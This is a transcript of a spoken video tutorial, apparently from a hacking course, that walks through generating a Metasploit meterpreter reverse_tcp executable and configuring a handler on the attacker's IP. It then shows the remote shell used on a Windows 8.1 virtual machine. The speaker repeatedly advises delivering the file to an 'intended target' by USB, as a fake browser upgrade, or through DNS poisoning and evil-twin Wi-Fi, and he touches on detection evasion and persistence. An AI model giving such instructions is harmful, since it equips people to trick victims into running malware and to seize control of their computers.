Welcome back to this tutorial,
let's just continue on from where we stopped in the previous one.
Let's just do this cuz we're gonna need more than one terminal here.
And let's put this one like this.
I already have another root terminal open.
Let's just put it here.
Oh, come on.
I don't know, I'm a perfectionist for these things.
Don't ask me why.
I'll just put this one down, like this.
Why, why are you doing this to me?
Okay, there we go.
So, now we have our setup where you are gonna need two terminals.
So just go ahead and open them to root terminals.
And down below I have a small set of commands so
I don't have to remember them while I do this.
Anyway, the first thing that we're gonna use is, well,
in my brilliant ordering of things, the last one here.
So just go ahead and copy that, paste it here.
And let me just go over this command so we have msfpayload.
You have specified which one you want.
You have a listening host.
This is your own IP address.
And it's being redirected to /root/Desktop, and
then I have named it CMD.exe, but you can name it whatever you want.
You can smash your keyboard and you can be anything.
You can put your name, last name, there if you want.
Anyway, you would hit Enter here.
I'm just gonna go ahead and change this name because I've already generated it.
Let's say CMD_01.
Press Enter and this is gonna run for a while.
It's a virtual machine, so give it a break.
Understand that it does not possess a significant amount of resources.
And it says created by msfpayload, LHOST.
And this is the path where it's gonna be created, so
we know that it's on the desktop somewhere.
Yup, there we go.
So I have the old one but I have the new one here.
This is the CMD_01.exe.
You can't actually run this file on Linux without WINE.
But we don't actually want to run it on Linux.
It doesn't make any difference.
Now this file you can copy on your USB drive and
you can carry it around in order to infect the intended target.
Or you can actually force the download by, I don't know,
pretending as if it's an upgrade feature for a web browser, something of a kind.
Once you have the command of your intended target's DNS,
we can pretty much redirect them anywhere, and do whatever you want.
They can't do anything unless you approve it.
Once you have this you can utilize it pretty much anywhere.
Will it be detected or not?
That is another issue indeed.
Sometimes it will, sometimes it won't, depending on the system and its upgrades.
So this will work for Windows systems.
I think it's gonna work universally across pretty much all of them, but
don't hold my word to it.
I have tested it out on Windows 8.1.
It does work there.
Does it work on 7?
Probably.
Does it work on anything below 7?
I don't know, but very likely.
Like, 90% chance.
Anyway, I'll just bring this back.
So now that you have generated a payload,
let us assume that we have delivered it to the victim machine.
As I said, just use the previous tutorials and there you can combine any
of those techniques to pretty much deliver this to pretty much any machine out there.
As long as you can either redirect their traffic through
you by creating an evil twin of a Wi-Fi or by messing around
with their DNS settings, poisoning their traffic etc.
Poisoning DR, etc.
Anyway, I already have it copied out onto my Windows 8.1 virtual machine, and
I'm gonna go ahead and
clear this screen cuz I don't think we're going to be needing it anymore.
Here I'm going to type in use.
So tab option is supported here.
You can finish your commands with tab.
Multihandler, press Enter.
And then you type in, well, we can actually type in show options.
This is gonna show you the options for it, but not much here.
You're clear, set payload.
Nope, not like that. Yes, actually, exactly like that,
set payload windows.
The tab can be a bit slow in a virtual machine, but
if you're using a physical machine, this is gonna go a lot faster.
meterpreter/reverse_tcp.
So you remember all those payloads that we've seen with search?
Well, this is just one of them.
Anyway, press Enter.
Excellent.
So payload is set.
Now let us configure it.
We can type in show options.
There we go.
So you have local host.
This is what you need to configure.
Listening host.
And you can configure the listening port.
The default is 4444.
You can leave it, honestly, if you're not using it for something else, but
you can also change it.
Here is how you would do it.
So, set LHOST, wait, ifconfig,
I want to see the IP address.
So it's 102, clear, show options.
I am, oh wow, my keyboard skills.
Amazing, right?
Anyway, now that we have this, I just wanna keep the screen up there, so
you can see the options.
Just type in set, very simple.
Plain English language, which you want to set host to listen on.
Set LHOST, LHOST, and that is going to
be 192.168.1.102.
This can also be your external IP address, your public IP address, as I've said
in the previous tutorial, you just need to configure the DMZ on your router.
That is different from one router to the next, but it's just one option.
You absolutely have to have a DMZ in a router.
It's always there.
If you don't know how to do it in your particular router,
I mean, go log into it, look for it.
If you really can't find it, type in your model number in the net,
and type in how to set the DMZ for this model.
You should be prompted with a large supply of legit answers.
Anyway, set listening host.
Listening host set.
Well, maybe not listening host, because it says up there the listening address, but
host needs to have an address.
Anyway, same thing you would do for port, if you wanted to change it, so set LPORT,
set LPORT, and then you would type in some number here.
Which would reflect the port that you wish to listen on.
I'm just gonna leave the default.
I don't really see any reason to change it.
Keep in mind that this port, that the LPORT, needs to be the same as the.
Actually, no.
No, it doesn't need to be the same.
You can just leave it like that,
but also it can be set here, doesn't matter.
Yeah, you would actually be able to set it here as well.
If you set it here then it needs to be the same as here, but
if you didn't, you can just leave it as it is.
No problem, no need to conduct any changes there.
It depends how you use and configure these commands,
that you need some options or don't need some options, etc.
But I just decided to go at it this way, so we've configured a host and
I'm gonna go ahead and clear the screen.
Show options.
I want to confirm that I have set it.
And there you go.
So it says, LHOST.
And then, there is an IP address.
I prefer clearing up the screen, but if you prefer to see the stuff that you have
configured, and then run some commands, feel free to do that as well.
You don't need to clear the screen as much as I do.
Anyway, type in exploit, press Enter.
It says started reverse handler on 192.168.1.102:, this is the port.
And Starting the payload handler.
Okay now where is my Windows machine?
So now I'm here in my Windows machine and this is the script.
So cmd.exe.
Basically, you can name it whatever you want.
You can present it as whatever you want.
There are many other ones, like DLLs, and stuff of a kind.
You cannot see it with a search command.
Feel free to explore further on that.
And I do encourage you to explore there and
to discover many more options that metasploit has to offer.
Because if I was to make a detailed overview of metasploit,
I would probably need to make like three courses, and
I still wouldn't cover half of the options in there.
But anyway, try new things and
ask whatever you feel like in the discussions.
I will be more than happy to help you out with anything related to this.
Doesn't necessarily need to be in the tutorials.
It can be something outside of the tutorials.
Regarding metasploit or something of a kind, because it is a rather large
framework, so if you need help with it, just post it there.
I will be glad to help you out in any way that I can.
Anyway, go ahead and start this, Run.
This is a standard question that's pretty much asked for any application.
Do you want to run it?
Go back to the Kali box.
There you go, the meterpreter session has actually started indeed.
So what do we want to do here?
Show uuid is that it?
Nope.
UUID.
Is this the one?
[SOUND] I'll put show.
Oh well, it doesn't matter.
When you enter the Meterpreter session, things tend to change a little bit.
But you can just type in shell.
And there we go.
So channel one created, Microsoft Windows, Microsoft all rights received.
What I wanted to show you previous to this is the ID
of the computer that we have seized,
how it is marked, but it doesn't really matter.
It's a username, I do believe it's a username.
But it really doesn't matter, as I said, you can just go in here and
you can see that we are in C:\Users\Creator\Desktop.
And if I go, I can mk there.
And let's see can you, nope.
CAN_YOU_SEE_ME.
Okay there.
CAN_YOU_SEE_ME.
Let's go back to our Windows machine.
Where is it?
Excellent.
There it is.
So there is a folder, in it, it says, CAN_YOU_SEE_ME.
Fantastic.
Yeah, my music in the back.
Where is it?
Come on.
Kali, there we go.
So I'm guessing that the power off is not going to work, but let's try it anyway.
Power off is not recognized, so shutdown.
Okay, so you see where the problem is here that I have encountered?
Immediately, you're using one operating system and
you've just been prompted with a command line of another operating system.
That can be problematic.
Why?
Because those two command lines are completely different.
Let's try reboot, no,
it won't actually run.
Let's try help, let's try help shutdown.
And I get more options than I really wanted here, but let's go, let's go.
This is a simulated scenario and we need to actually, it's clear?
No, it's not.
In Windows, it's cls.
But it doesn't clear the current screen.
[LAUGH] So that's kind of weird.
So you see, Meterpreter shell is not exactly what you expected it to be,
but you still have a full access to the machine
that the current user has that has ran the script.
Now in addition to this,
you can apply some other scripts if you want to run them as well.
You can run whatever you want.
Just make a file, or something of a kind, and do whatever you want.
Let's go notepad.
Again, my music. Excellent, so
we have notepad, that has started here, which is rather interesting.
And yeah, this is not what you want at all.
Let's see if another trick will work.
Oh, okay, I can do this.
Echo
ANYBODY_THERE.
Then I can reroute that to
I don't know, bla.txt.
Excellent, and now I would need to type in notepad.
The tab doesn't work here.
Bla.txt, which is very annoying.
And now you have successfully started a blah.txt and excellent!
There's another notepad file, it says anybody there!
So imagine, just kind of popping here it says anybody there.
Let's see if we can figure out how to shut
the computer down with a shutdown command.
There are so many options, help, shut down, usage.
There are a lot of arguments here.
Display graphical user interface.
No, I don't want that.
Log off.
Power failure environment, cord unplugged.
I'm not sure if I want those.
Let's see,
shutdown /P.
There we go.
It actually worked.
Meterpreter session 1 closed.
Reason: Died.
Basically, the computer on the other side, as you can see in VirtualBox.
I can't actually open it now.
It's being bugged out because it is actually stopping.
So Kali, it says Windows 8.1.
It says Powered Off.
How amazing is that?
You can just shut the computer down.
But, there we go, so it's no longer there.
So to tell you one thing, this would be an extremely stupid thing to do.
What I just did.
Before I have made my strip persistent,
before I have scheduled it to run at boot time.
I have shut down the computer on the other side.
What now?
Nothing.
You have to redo the process again.
You have to hack back in or wait until somebody's a genius.
A genius on the other side actually decides to click on that file for
no reason whatsoever.
And you generally wouldn't put that on desktop.
I just put it there as an example, but you can put it anywhere you like.
It doesn't matter.
If they download it from the net, it's gonna go into their Downloads folder.
But it doesn't matter, as long as they run it, it's gonna be fantastic.
And once again, you do have a way of deploying this,
because you do have a way of directing the traffic of your intended target.
Anyway, I bid you farewell, and I hope to see you in
the follow up tutorial where we shall expand upon this further.